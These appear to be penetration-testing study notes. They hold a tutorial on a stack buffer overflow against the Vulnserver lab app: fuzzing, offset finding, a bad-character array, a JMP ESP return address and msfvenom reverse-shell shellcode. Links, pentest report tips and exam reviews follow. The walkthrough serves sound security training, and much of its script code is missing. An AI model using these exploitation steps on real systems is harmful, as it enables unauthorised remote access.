https://mrr3b00t.medium.com/buffer-overflow-abusing-eip-control-1d8e1934570e
Memory exploitation has always been a hacker’s delight. Techies have always tried to
understand how memory hierarchy works. It is complicated how our primary and secondary
devices function. A hacker understands how it works and exploits it by various means.
Buffers are memory storage regions that temporarily hold data while it is transferred from one
location to another. A buffer overflow occurs when the volume of data exceeds the storage
capacity of the memory buffer. As a result, the program attempting to write the data to the
buffer overwrites adjacent memory locations .
Image Credits: https://www.hackingtutorials.org
It is a critical vulnerability that lets someone access your important memory locations. A
hacker can insert his malicious script and gain access to the machine. Here is a picture that
shows where a stack is located, which will be the place of exploitation. Heap is like a free-
floating region of memory.
Image Source: Google
Now let us try understanding the stack hierarchy. Stack hierarchy has extended stack pointer
(ESP), Buffer space, extended base pointer (EBP), and extended instruction pointer (EIP).
ESP holds the top of the stack. It points to the most-recently pushed value on the stack. A stack
buffer is a temporary location created within a computer’s memory for storing and retrieving
data from the stack. EBP is the base pointer for the current stack frame. EIP is the instruction
pointer. It points to (holds the address of) the first byte of the next instruction to be executed.
Image Source: Google
Imagine if we send a bunch of characters into the buffer. It should stop taking in characters
when it reaches the end. But what if the character starts overwriting EBP and EIP? This is
where a buffer overflow attack comes into place. If we can access the EIP, we could insert
malicious scripts to gain control of the computer.
But it is only fair to explain the buffer overflow with a practical lab.
1. An attack machine — Can be any Linux distribution, preferably Kali Linux or Parrot OS
The first step is spiking. Spiking is done to figure out what is vulnerable. Now run the
Vulnserver and Immunity debugger as admin. In Immunity debugger, you’ll find an option
called attach. Attach the Vulnserver to it. The next step is to run the debugger. You’ll find a
play button in the toolbar ( Triangle button near the pause button ).
To find the IP address of the Windows machine ( I am using Kali as the host machine and
windows as VM ), we use a tool called Netdiscover.
You can see that the connection is successful. We will be spiking at STATS to check if it is
vulnerable.
Where 0 0 indicates the initial and final boundary ( which is not required for us so use 0 0)
We can see that the script runs and you can see some responses too.
If there is a buffer overflow, the debugger will automatically stop and show a thread exception
which doesn’t happen in STATS. Thus we could conclude that STATS is not vulnerable
As soon as you run the script you can see the debugger pauses and shows violation.
So we found the buffer overflow vulnerability in TRUN. We can go to the next step which will
be fuzzing. It is similar to spiking.
Fuzzing is a means of detecting potential implementation weaknesses that can be used to take
advantage of any target.
We create a script to send random characters into the buffer which will eventually overwrite
the EBP and EIP. The key point here is to note the approximate amount of bytes at which TRUN
crashes. We use python to create our script. We use sockets to connect to the vulnserver and
send random characters. We use exception handling because sometimes things don't go as we
expect. Save the script and make it executable, the following command can be used. chmod +x
fuzzer.py
Remember to stop the script(control+c) when TRUN crashes, the immunity debugger will
pause automatically
The next step is to find the exact bytes at which the TRUN crashed. This step is called Finding
the offset value. The main idea is to send a known pattern and see when the EIP gets
overwritten. The pattern which gets overwritten can be used to find the exact bytes.
There is a simple trick to do this. you can create a pattern using the Metasploit framework and
use it in the script.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2040
Now copy the bunch of characters in the script. A bit of modification is required. Make it an
executable after saving the script.
There we go ! we found the offset value. Now we can proceed to the next step which is
overwriting. This is a step to confirm if the 2003 bytes are correct. We use the same script with
slight modification. We try to overwrite the EIP with a bunch of ‘B’.
This step should overwrite EIP with 4 ‘B’ is form of HEX , which is 42424242
So now that it is confirmed that 2003 is correct, we move to the next step. The next step is
finding the bad character.
Depending on the program, certain hex characters may be reserved for special commands and
could crash or have unwanted effects on the program if executed. An example is 0x00, the null
byte. When the program encounters this hex character, it will mark the end of a string or
command. This could make our shell code useless if the program will only execute a part of it.
To figure out what hex characters we can’t use in the shellcode, we can just send a payload
with all bytes from 0x01–0xFF and examine the program’s memory. The list of bad characters
can be found in browser or you can copy this from here
badChars = (
“\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f”
“\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f”
“\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f”
“\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f”
“\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f”
“\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f”
“\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f”
“\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f”
“\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f”
“\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f”
“\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf”
“\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf”
“\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf”
“\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf”
“\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef”
“\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”
)
Knowing that we don’t have a bad character problem, we can move on to the next step.
We are nearing the end. This step is finding the right module. This step is a bit tough to
understand as it may involve small concepts on endian architecture and assembly language.
We need to find an address that contains the operation JMP ESP, but many protection
mechanisms will be tough to find. Use mona.py to see modules that don’t have any protection
mechanisms:
We will have about 9 pointers, out of which 2 of them have all protection as false, this will be
our point of attack.
Now we will be targeting essfunc.dll. Things get confusing here, we need to set a breakpoint at
JMP ESP. This is to write give our code. I will make it more clear as we go into the steps.
For now, we need to find the opcode for JMP ESP for which we can use the NASM shell
FFE4 it is. Converting to hex form, which can be understood by machine. We type !mona find -s
“\xff\xe4” -m essfunc.dll ( which we found that it has all false in the protection ). We will have
about 9 pointers, out of which the first one is the point of an attack ( Sorry for the spoiler :) )
Now we need to set a break-point. For this, you will find a blue-black arrow ( 6 buttons after
the run button ). Type the first pointer. Now the JMP ESP will get highlighted. To set a
breakpoint, use a shortcut key F2. So you get it now? I set a breakpoint to insert my own code
with my script.
Now the concept of little endian comes in. We need to reverse the pointer by 2 bits. For
example, if the address is 625011af, we use “\xaf\x11\x50\x62” in the script. To know more
about little endian check this out https://www.freecodecamp.org/news/what-is-endianness-
big-endian-vs-little-endian/
Success! We can move to the final step which is Getting a shellcode. The shellcode should be in
hex form. We use a tool called msfvenom for this.
where
LHOST is the Attack machine ( in my case it is Kali ), use ifconfig to your machine’s IP
EXITFUNC=thread is for making the shell stable
-f is for the file type, here it is C
-a is for architecture, here it is x86
-b is for bad character, which only the null byte is needed here
just copy the hex part and use it in the python script. The concept of NOPS comes into place
now. We use NOPS to avoid interference. Sometimes our code might not work. Depending on
the payload size you can reduce the no of bytes used. The debugger is not required for this
step.
Remember we set LPORT as 4444, so we have to set up a listener.
https://corruptedprotocol.medium.com/buffer-overflow-vulnserver-4951a4318966
https://infosecwriteups.com/stack-based-buffer-overflow-practical-for-windows-vulnserver-
8d2be7321af5
https://www.youtube.com/watch?v=-KEN0I-G3qk&ab_channel=ComputerSaysNo
https://the-dark-lord.medium.com/exploit-research-the-jmp-esp-2264f5930aea
https://www.youtube.com/watch?v=jrG1Gqatj7U&ab_channel=CryptoCat
https://www.youtube.com/watch?v=5-ZQubBWz3c&ab_channel=CryptoCat
https://www.youtube.com/watch?v=jU7yB-elFV8&ab_channel=CryptoCat
https://0xrick.github.io/binary-exploitation/bof2/
Report Template
How to Create a Penetration Testing Report
Here are the main sections you should include in a penetration testing report:
1. Note the good with the bad—don’t only focus your reports on
security shortcomings at the organization. If you found areas that
were well secured, or you attempted an attack and were blocked by
security tools, note this, so the organization knows which parts of its
defenses are working well. Effective security controls that withstand
your attacks do not reduce the value of your penetration test. The
client will be happy to discover that their security investments have a
good return.
2. Write the report as you go—it is far better to write the report while
conducting the penetration test rather than wait until the end and
then start writing. Write your rough report as you are testing, taking
screenshots, and recording events as they happen. At the end of
your test, you will have a good record of your experiences, and you
can organize them into your final report. This will also avoid “writer’s
block” at the end of your pentesting engagement.
3. Document your methods—every penetration tester has different
methods and approaches. Share your methods with readers of the
report. How did you perform reconnaissance? Why did you try a
specific attack and not others? Did you use a specific framework
such as NIST or SANS? This information should be woven into your
report and can help strengthen the credibility and value of your
findings.
4. Clearly define the scope—it is critical to define the scope of your
penetration test, both to keep your client happy and to avoid ethical
and legal issues. Remember that if you do something outside the
agreed scope of the penetration test, even if you have the best
intentions, you could face legal liability. Draft a clear Statement of
Work (SOW) that explains what you are and are not expected to test.
Repeat the agreed scope in your report, so it is clear to everyone
what you were hired to do.
https://brightsec.com/blog/penetration-testing-report/
https://pentestreports.com/templates/
https://github.com/hmaverickadams/TCM-Security-Sample-Pentest-Report
https://pulsar-it.de/Pentest_Report.pdf
Exam Reviews
https://www.linkedin.com/pulse/my-journey-ecpptv2-ejpt-oswp-emapt-ewpt-
ewptxv2?originalSubdomain=pt
https://bohansec.com/2021/05/10/My-eCPPT-Review/
https://infosecwriteups.com/ecpptv2-exam-review-f7c4efb6f9aa
https://medium.com/@shaunwhorton/ecppt-elearnsecurity-certified-professional-
penetration-tester-review-fc03f91b2f52
https://www.hdysec.com/reviewing-the-ecppt-exam/
https://www.jeroenvansaane.com/posts/certs/ecppt/
https://www.youtube.com/watch?v=zcBU5LQT6KM&ab_channel=GrahamHelton
https://www.youtube.com/watch?v=7lSudqs-WNQ&ab_channel=PerumalJegan
https://www.alluresec.com/2020/12/24/ecpptv2-review/